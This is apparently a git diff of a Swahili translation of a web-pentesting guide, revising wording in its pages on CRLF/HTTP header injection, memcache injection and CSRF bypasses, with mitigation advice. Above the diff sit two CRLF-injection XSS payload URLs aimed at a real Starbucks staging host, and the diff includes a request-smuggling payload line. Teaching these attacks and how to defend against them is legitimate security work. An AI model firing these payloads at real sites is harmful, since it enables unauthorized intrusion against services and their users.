http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E @@ -115,7 +115,7 @@ Unaweza kuingiza vichwa muhimu ili kuhakikisha **back-end inaendelea na muungani ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` -Baadaye, ombi la pili linaweza kufafanuliwa. Hali hii kwa kawaida inahusisha [HTTP request smuggling](http-request-smuggling/), mbinu ambapo vichwa vya ziada au vipengele vya mwili vilivyoongezwa na seva baada ya kuingiza vinaweza kusababisha udanganyifu mbalimbali wa usalama. +Baada ya hapo, ombi la pili linaweza kufafanuliwa. Hali hii kwa kawaida inahusisha [HTTP request smuggling](http-request-smuggling/), mbinu ambapo vichwa vya ziada au vipengele vya mwili vilivyoongezwa na seva baada ya kuingiza vinaweza kusababisha udhaifu mbalimbali wa usalama. **Udhihirisho:** @@ -137,9 +137,9 @@ Memcache ni **hifadhi ya funguo-thamani inayotumia itifaki ya maandiko wazi**. M **Kwa maelezo kamili soma**[ **andika asili**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) -Ikiwa jukwaa linachukua **data kutoka kwa ombi la HTTP na kuifanya bila kuisafisha** ili kutekeleza **maombi** kwa **seva ya memcache**, mshambuliaji anaweza kutumia tabia hii ku **ingiza amri mpya za memcache**. +Ikiwa jukwaa linachukua **data kutoka kwa ombi la HTTP na kutumia bila kusafisha** ili kufanya **maombi** kwa **seva ya memcache**, mshambuliaji anaweza kutumia tabia hii ku **ingiza amri mpya za memcache**. -Kwa mfano, katika udhaifu ulio gunduliwa awali, funguo za cache zilitumika kurudisha IP na bandari ambayo mtumiaji anapaswa kuungana nayo, na washambuliaji walikuwa na uwezo wa **kuingiza amri za memcache** ambazo zingekuwa **kuharibu** **cache ili kutuma maelezo ya waathirika** (majina ya watumiaji na nywila zilijumuishwa) kwa seva za mshambuliaji: +Kwa mfano, katika udhaifu ulio gunduliwa awali, funguo za cache zilitumika kurudisha IP na bandari ambayo mtumiaji anapaswa kuungana nayo, na washambuliaji walikuwa na uwezo wa **kuingiza amri za memcache** ambazo zinge **haribu** **cache ili kutuma maelezo ya waathirika** (majina ya watumiaji na nywila zilijumuishwa) kwa seva za mshambuliaji:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
@@ -151,8 +151,8 @@ Zaidi ya hayo, watafiti pia waligundua kwamba wangeweza kuondoa usawa wa majibu Ili kupunguza hatari za CRLF (Carriage Return and Line Feed) au Uingizaji wa Vichwa vya HTTP katika programu za wavuti, mikakati ifuatayo inapendekezwa: -1. **Epuka Kuingiza Moja kwa Moja kutoka kwa Watumiaji katika Vichwa vya Majibu:** Njia salama zaidi ni kuepuka kuingiza maoni yaliyotolewa na mtumiaji moja kwa moja katika vichwa vya majibu. -2. **Fanya Msimbo wa Mifano Maalum:** Ikiwa kuepuka kuingiza moja kwa moja kutoka kwa watumiaji si rahisi, hakikisha kutumia kazi iliyokusudiwa kwa ajili ya msimbo wa mifano maalum kama CR (Carriage Return) na LF (Line Feed). Praktika hii inazuia uwezekano wa uingizaji wa CRLF. +1. **Epuka Kuingiza Moja kwa Moja kutoka kwa Watumiaji katika Vichwa vya Majibu:** Njia salama zaidi ni kuepuka kuingiza maoni ya watumiaji moja kwa moja katika vichwa vya majibu. +2. **Fanya Msimbo wa Mambo Maalum:** Ikiwa kuepuka kuingiza moja kwa moja kutoka kwa watumiaji si rahisi, hakikisha kutumia kazi iliyokusudiwa kwa ajili ya msimbo wa mambo maalum kama CR (Carriage Return) na LF (Line Feed). Praktika hii inazuia uwezekano wa uingizaji wa CRLF. 3. **Sasisha Lugha ya Programu:** Sasisha mara kwa mara lugha ya programu inayotumiwa katika programu zako za wavuti hadi toleo la hivi karibuni. Chagua toleo ambalo kwa asili haliruhusu uingizaji wa wahusika wa CR na LF ndani ya kazi zinazotumika kuweka vichwa vya HTTP. ### CHEATSHEET diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 3ae6940d9..98e528602 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -39,15 +39,15 @@ Kuelewa na kutekeleza ulinzi huu ni muhimu kwa kudumisha usalama na uaminifu wa ### Kutoka POST hadi GET -Labda fomu unayotaka kutumia imetayarishwa kutuma **ombii la POST lenye token ya CSRF lakini**, unapaswa **kuangalia** ikiwa **GET** pia ni **halali** na ikiwa unapowasilisha ombi la GET **token ya CSRF bado inathibitishwa**. +Labda fomu unayotaka kutumia inPrepared kutuma **ombii la POST lenye token ya CSRF lakini**, unapaswa **kuangalia** ikiwa **GET** pia ni **halali** na ikiwa unapowasilisha ombi la GET **token ya CSRF bado inathibitishwa**. ### Ukosefu wa token Programu zinaweza kutekeleza mekanismu ya **kuhakiki token** wakati zipo. Hata hivyo, udhaifu unatokea ikiwa uthibitisho unakosolewa kabisa wakati token haipo. Washambuliaji wanaweza kutumia hili kwa **kuondoa vigezo** vinavyobeba token, si tu thamani yake. Hii inawawezesha kupita mchakato wa uthibitisho na kufanya shambulio la Cross-Site Request Forgery (CSRF) kwa ufanisi. -### Token ya CSRF haijafungwa na kikao cha mtumiaji +### Token ya CSRF haijafungwa kwa kikao cha mtumiaji -Programu **zisizofunga token za CSRF na vikao vya watumiaji** zina hatari kubwa ya **usalama**. Mifumo hii inathibitisha token dhidi ya **hifadhi ya kimataifa** badala ya kuhakikisha kila token inafungwa na kikao kilichozinduliwa. +Programu **zisizofunga token za CSRF kwa vikao vya watumiaji** zina hatari kubwa ya **usalama**. Mifumo hii inathibitisha token dhidi ya **hifadhi ya kimataifa** badala ya kuhakikisha kila token inafungwa kwa kikao kilichoanzisha. Hapa kuna jinsi washambuliaji wanavyotumia hili: @@ -78,7 +78,7 @@ Ikiwa ombi linaongeza **kichwa maalum** chenye **token** kwa ombi kama **mbinu y Programu zinaweza kutekeleza ulinzi wa CSRF kwa kuiga token katika cookie na parameter ya ombi au kwa kuweka cookie ya CSRF na kuangalia ikiwa token iliyotumwa kwenye backend inalingana na cookie. Programu inathibitisha maombi kwa kuangalia ikiwa token katika parameter ya ombi inalingana na thamani katika cookie. -Hata hivyo, mbinu hii ina udhaifu kwa mashambulizi ya CSRF ikiwa tovuti ina kasoro zinazomruhusu mshambuliaji kuweka cookie ya CSRF kwenye kivinjari cha mwathirika, kama vile udhaifu wa CRLF. Mshambuliaji anaweza kutumia hili kwa kupakia picha ya udanganyifu inayoweka cookie, ikifuatiwa na kuanzisha shambulio la CSRF. +Hata hivyo, mbinu hii ina udhaifu kwa mashambulizi ya CSRF ikiwa tovuti ina kasoro zinazomruhusu mshambuliaji kuweka cookie ya CSRF katika kivinjari cha mwathirika, kama vile udhaifu wa CRLF. Mshambuliaji anaweza kutumia hili kwa kupakia picha ya udanganyifu inayoweka cookie, ikifuatiwa na kuanzisha shambulio la CSRF. Hapa kuna mfano wa jinsi shambulio linaweza kuundwa: ```html @@ -197,9 +197,9 @@ Hivyo, ikiwa ombi la GET linapunguzwa, unaweza tu **kutuma ombi la HEAD ambalo l ### **Kutoa CSRF Token** -Ikiwa **CSRF token** inatumika kama **kinga** unaweza kujaribu **kutoa hiyo** kwa kutumia udhaifu wa [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) au udhaifu wa [**Dangling Markup**](dangling-markup-html-scriptless-injection/). +Ikiwa **CSRF token** inatumika kama **kinga** unaweza kujaribu **kutoa** kwa kutumia udhaifu wa [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) au udhaifu wa [**Dangling Markup**](dangling-markup-html-scriptless-injection/). -### **GET kwa kutumia lebo za HTML** +### **GET kwa kutumia vitambulisho vya HTML** ```xml

404 - Page not found

@@ -373,7 +373,7 @@ body += "--" + boundary + "--" //xhr.send(body); xhr.sendAsBinary(body) ``` -### Fomu ya POST ombi kutoka ndani ya iframe +### Fomu ombi la POST kutoka ndani ya iframe ```html <--! expl.html --> @@ -505,7 +505,7 @@ document.forms[0].submit.click() } ``` -### **Kuwaibia token na kuutuma kwa kutumia iframes 2** +### **Iibi token na kuutuma kwa kutumia iframes 2** ```html